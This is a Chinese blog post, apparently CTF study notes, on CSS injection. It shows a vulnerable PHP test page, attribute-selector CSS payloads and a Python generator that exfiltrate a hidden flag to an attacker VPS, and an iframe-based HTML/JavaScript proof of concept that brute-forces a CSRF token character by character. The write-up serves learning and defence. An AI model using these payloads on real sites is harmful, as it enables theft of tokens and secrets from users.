zoukankan      html  css  js  c++  java
  • CSS注入攻击

    关于css注入是第一次看到,这里记录学习一下。

    第一种姿势

    先来做一个简单的实验:

    <?php
    $token1 = md5($_SERVER['HTTP_USER_AGENT']);
    $token2 = md5($token1);
    $css = $_GET['css'];
    ?>
    <!doctype html><meta charset=utf-8>
    <input name="flag" type=hidden value="flag{xxx}">
    <script>
        var TOKEN = "<?=$token2 ?>";
    </script>
    
    <link rel="stylesheet" href="<?=$css ?>" />
    

    假设我们现在要窃取页面的flag值的第一位f,那么现在在我们的vps上写入:

    一般CSRF Token的type都为hidden,会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)

    解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image,达到将数据带出的目的。

    input[name=flag][value^="f"] ~ * {
    background-image: url("http://vps/?flag=f");
    }

    然后传入payload:

    ?css=http://vps/poc.css

    在vps监听:

     

     那么以这个思路,对flag值逐一爆破,为了方便写了个脚本:

    #python
    f = open("poc.css","w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''input[name=flag][value^="flag{'''+i+'''"] ~ * {background-image:url("http://174.0.13.182:8888/?flag=flag{'''+i+'''");}''' f.write(payload + " ") f.close()

    依次盲注,就可以把flag值爆出来了。

    通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?

    第二种姿势

    通过不断创建iframe,动态猜解每一位csrf token

    当然这需要目标站点x-frame-options未被禁用,当然本题并未限制此方法

    poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

    <html>
        <style>
            #current {
                font-size: 32px;
                color: red;
            }
            #time_to_next {
                font-size: 24px;
                color: black;
            }
            #frames {
                visibility: hidden;
            }
        </style>
        <body>
            <div id="current"></div>
            <div id="time_to_next"></div>
            <div id="frames"></div>
        </body>
        <script>
            chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
            known = "";
            target_time = new Date();
            timer = 0;
            function test_char(known, chars) {
                // Remove all the frames
                document.getElementById("frames").innerHTML = "";
                // Append the chars with the known chars
                css = build_css(chars.map(v => known + v));
                // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
                frame = document.createElement("iframe");
                frame.src = "http://192.168.0.5/css/?css=" + css;
                frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
                document.getElementById("frames").appendChild(frame);
                // timer stuff because we want to be l33t
                clearInterval(timer);
                target_time = new Date();
                target_time.setSeconds(target_time.getSeconds() + 3);
                timer = setInterval(function() {
                    var current_time = new Date();
                    diff = target_time - current_time;
                    document.getElementById("time_to_next").innerHTML = "Time to next reload: " + diff / 1000;
                }, 50);
                // in 3 seconds, after the iframe loads, check to see if we got a response yet
                setTimeout(function() {
                    var oReq = new XMLHttpRequest();
                    oReq.addEventListener("load", known_listener);
                    oReq.open("GET", "http://192.168.0.5/css/?css=");
                    oReq.send();
                }, 3000);
            }
            function build_css(values) {
                css_payload = "";
                for(var value in values) {
                    css_payload += "input[value^="
                        + values[value]
                        + "]~*{background-image:url(http://192.168.0.5:8012/"
                        + values[value]
                        + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
                }
                return css_payload;
            }
            function known_listener () {
                document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
                if(known != this.responseText) {
                    known = this.responseText;
                    test_char(known, chars);
                } else {
                    known = this.responseText;
                    alert("CSRF token is: " + known);
                }
            }
            test_char("", chars);  //若监听到第一位为f,需依次传入第一位参数中。
        </script>
    </html>

    那iframe被禁用了,还有办法注入吗?

    第三种姿势

    参考这篇文章:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

    提供了一个工具:使得可以通过import css来获得token:https://github.com/d0nutptr/sic

    Refer:

    https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#cssgame

    https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/

    http://www.fwheart.club/2019/04/08/[%E8%AF%91]%E4%BD%BF%E7%94%A8CSS%E7%AA%83%E5%8F%96%E6%95%B0%E6%8D%AE%EF%BC%9A%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%AE%88/

    https://xz.aliyun.com/t/6911#toc-12

     
     

      

  • 相关阅读:
    TCP/IP(三)数据链路层~2
    TCP/IP(三)数据链路层~1
    TCP/IP(二)物理层详解
    Maven(六)之依赖管理
    RAID : 独立磁盘冗余阵列(Redundant Array of Independent Disks)
    Oracle启动两个监听
    Oracle服务器修改IP后
    su: cannot set user id: Resource temporarily unavailable
    hadoop报错:java.io.IOException(java.net.ConnectException: Call From xxx/xxx to xxx:10020 failed on connection exception: java.net.ConnectException: 拒绝连接
    spring boot 实现mybatis拦截器
  • 原文地址:https://www.cnblogs.com/Silkage/p/13210964.html
Copyright © 2011-2022 走看看